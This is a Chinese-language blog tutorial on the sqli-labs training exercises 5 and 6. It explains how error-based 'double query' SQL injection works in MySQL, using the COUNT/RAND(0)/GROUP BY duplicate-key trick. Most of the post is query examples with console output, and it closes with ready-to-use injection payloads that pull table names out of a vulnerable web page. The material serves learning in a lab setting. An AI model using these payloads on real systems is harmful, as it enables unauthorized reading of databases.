SQL注入之旅 : Sqli Labs Part 2 - GET二次注入

作者: 分类: Sql-Injection 时间: 2017-03-27 评论: 暂无评论

这个系列基于sqli-labs,请自行下载

0x00 前言

这次是第5,6个实验,二次注入(Double Query Injection),页面不回显,但是会报错。可以看下老外(口音很操蛋就是了)的视频,实验探究的过程挺详细的。

0x02 使用到的语句

SELECT RAND();
SELECT RAND()*2;
SELECT FLOOR(RAND()*2);
SELECT DATABASE();
SELECT CONCAT((SELECT DATABASE()));
SELECT CONCAT((SELECT DATABASE()),0x3a);
SELECT CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2));
SELECT CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a;

SELECT CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a FROM users;
SELECT COUNT(*),CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a FROM users;
SELECT FLOOR(RAND(0)*2);
SELECT COUNT(*),FLOOR(RAND(0)*2) FROM users;

SELECT CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a FROM information_schema.tables;
SELECT count(*),CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a FROM information_schema.tables;
SELECT count(*),CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a FROM information_schema.tables GROUP BY a;
SELECT count(*),CONCAT((SELECT VERSION()),0x3a,FLOOR(RAND()*2))a FROM information_schema.tables GROUP BY a;
SELECT count(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),0x3a,FLOOR(RAND()*2))a FROM information_schema.tables GROUP BY a;
SELECT count(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1),0x3a,FLOOR(RAND(0)*2))a FROM information_schema.tables GROUP BY a;

0x03 注入过程

报错注入,下面会讲下原理,实验中使用的语句也罗列在上面了,建议自己在数据里都试一遍,那么对于理解原理十分有帮助。

我就不分小节了,直接解释下语句,重要的地方我才截图详解。

首先SELECT RAND()会产生0-1的之间的随机数,*2之后,就会产生0-2之间的随机数,而FLOOR()则是取整,在这边也就是让值为0或者为1:

mysql> SELECT RAND();
+--------------------+
| RAND()             |
+--------------------+
| 0.5074599203723109 |
+--------------------+
1 row in set (0.00 sec)

mysql> SELECT RAND()*2;
+--------------------+
| RAND()*2           |
+--------------------+
| 0.9191706338144565 |
+--------------------+
1 row in set (0.00 sec)

mysql> SELECT FLOOR(RAND()*2);
+-----------------+
| FLOOR(RAND()*2) |
+-----------------+
|               1 |
+-----------------+
1 row in set (0.00 sec)

DATABASE()查看当前使用的数据库,CONCAT()是把内容拼接起来的函数,0x3a对应的ASCII:

mysql> SELECT DATABASE();
+------------+
| DATABASE() |
+------------+
| security   |
+------------+
1 row in set (0.00 sec)

mysql> SELECT CONCAT((SELECT DATABASE()));
+-----------------------------+
| CONCAT((SELECT DATABASE())) |
+-----------------------------+
| security                    |
+-----------------------------+
1 row in set (0.00 sec)

mysql> SELECT CONCAT((SELECT DATABASE()),0x3a);
+----------------------------------+
| CONCAT((SELECT DATABASE()),0x3a) |
+----------------------------------+
| security:                        |
+----------------------------------+
1 row in set (0.00 sec)

mysql> SELECT CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2));
+--------------------------------------------------+
| CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2)) |
+--------------------------------------------------+
| security:0                                       |
+--------------------------------------------------+
1 row in set (0.00 sec)

SQL里有种下面这样的语法,相当于是列名的别名,有没有AS都可以:

mysql> SELECT 1 AS a, 2 AS b;
+---+---+
| a | b |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.00 sec)

mysql> SELECT 1 a, 2 b;
+---+---+
| a | b |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.00 sec)

下面从users表查询仅仅是让结果很多行的作用而已,加上一列count(*),会计算结果有多少行,这个时候就有两列了,一列可以当主键,一列当值了,记住这个很关键:

mysql> SELECT CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a;
+------------+
| a          |
+------------+
| security:0 |
+------------+
1 row in set (0.00 sec)

mysql> SELECT CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a FROM users;
+------------+
| a          |
+------------+
| security:1 |
| security:0 |
| security:1 |
| security:1 |
| security:1 |
| security:1 |
| security:1 |
| security:1 |
| security:0 |
| security:0 |
| security:1 |
| security:1 |
| security:0 |
+------------+
13 rows in set (0.00 sec)


mysql> SELECT COUNT(*),CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a FROM us
ers;
+----------+------------+
| COUNT(*) | a          |
+----------+------------+
|       13 | security:0 |
+----------+------------+
1 row in set (0.00 sec)

mysql> SELECT COUNT(*),CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a FROM us
ers GROUP BY a;
+----------+------------+
| COUNT(*) | a          |
+----------+------------+
|        8 | security:0 |
|        5 | security:1 |
+----------+------------+
2 rows in set (0.00 sec)

mysql> SELECT COUNT(*),CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a FROM us
ers GROUP BY a;
ERROR 1062 (23000): Duplicate entry 'security:0' for key 'group_key'

当我们用GROUP BY之后,第二次就报错了,还把错误的字段输出来了,好像嗅到什么不一样的气息,这边我们可以看到从错误里得到了数据库名了,那么此时其实我们已经可以得到我们想要的任意内容了,只需要构造相应的语句即可。不过不急,先来看看原理是什么。

ERROR 1062 (23000): Duplicate entry 'security:0' for key 'group_key'

学过SQL的人应该都知道这个错误只有在INSERT INTO插入新数据的时候,键相同才会抛出的错误,那么这里只是SELECT查询为什么也会报这个错误呢?

我们先来看下面这个语句:

mysql> SELECT FLOOR(RAND(0)*2) FROM users;
+------------------+
| FLOOR(RAND(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
|                0 |
|                1 |
|                1 |
|                1 |
|                0 |
|                1 |
+------------------+
13 rows in set (0.00 sec)

这个语句每次执行都会输出相同的内容,RAND(0)已经变得不随机了,有点类似C语言里的随机种子固定了。

下面以这个语句来进行试验:

SELECT COUNT(*),FLOOR(RAND(0)*2)a FROM users GROUP BY a;

COUNT()GROUP BY一起使用的话,会建立一个虚拟表,工作流程如下:

  1. 当语句执行的时候,先创建了虚拟表,键值对应,如下:

         KEY | COUNT(*)
         ------------ | -------------
          | 
          | 
    
  2. 然后FLOOR(RAND(0)*2)会先产生,发现表里面不存在键为,所以创建对应的键,这边需要注意的是查询的时候FLOOR(RAND(0)*2)执行一次,插入虚拟表中的时候还会再执行一次,这样的结果就是第一次虚拟表里创建的键是1,而不是

         KEY | COUNT(*)
         ------------ | -------------
         1 | 1
          | 
    
  3. 第二次查询,FLOOR(RAND(0)*2)产生的值是1(其实已经查了三次),在虚拟表中存在了,所以值自加1:

         KEY | COUNT(*)
         ------------ | -------------
         1 | 2
          | 
    
  4. 第三次查询,FLOOR(RAND(0)*2)产生的值是(其实已经查了四次),在虚拟表中不存在,所以准备插入,但是当个插入的时候FLOOR(RAND(0)*2)又查了一次(第五次),结果为1,问题出现了,此时插入语句已经准备好了,但是键从变为1,于是就抛出异常:ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

到这边我们也知道了为何会抛出错误,如果还不清楚的话,建议看下乌云的这篇文章,剖析的很清楚。

我们前面构造在CONCAT()里面的语句就是为了在错误抛出的时候让我们看到数据库里面的内容,现在只要把构造好的语句丢进去即可。

当在RAND()里面加入,即RAND(0)就一定会报错,故我们下面的实验就直接报错了,简单粗暴:

mysql> SELECT count(*),CONCAT((SELECT table_name FROM information_schema.tables
WHERE table_schema=DATABASE() LIMIT 0,1),0x3a,FLOOR(RAND(0)*2))a FROM information
_schema.tables GROUP BY a;
ERROR 1062 (23000): Duplicate entry 'emails:1' for key 'group_key'

这边的LIMIT 0,1是显示查询出来的结果集里面索引0开始之后的1条数据,也就是第一条记录,LIMIT 1,1即为第二条记录。这边查询information_schema数据库里的表仅仅为了让结果超过3个字段,能报错。

我们到网页上构造如下语句:

UNION SELECT 1,COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1),0x3a,FLOOR(RAND(0)*2))a FROM information_schema.tables GROUP BY a;  --+

# 老外构造的这个语句
AND (SELECT 1 FROM (SELECT 1,COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1),0x3a,FLOOR(RAND(0)*2))a FROM information_schema.tables GROUP BY a)b);  --+

注意这边有点差别的是前面正常查询的结果有3列,所以我们用的联合查询也必须要查询出相同的列数。

Double Query Injection.png

小结

二次注入(Double Query Injection),主要是应用在页面没有回显,但是却会报错的场景,比较复杂,但是也很有意思,很奇妙。理解完了会感觉很有意思,对于SQL注入的理解又有了不同的角度。

参考文章:

【SQL注入】MySQL Duplicate entry报错注入原理

Mysql报错注入原理分析(count()、rand()、group by)

声明:文章基本原创,允许转载,但转载时必须以超链接的形式标明文章原始出处及作者信息。

添加新评论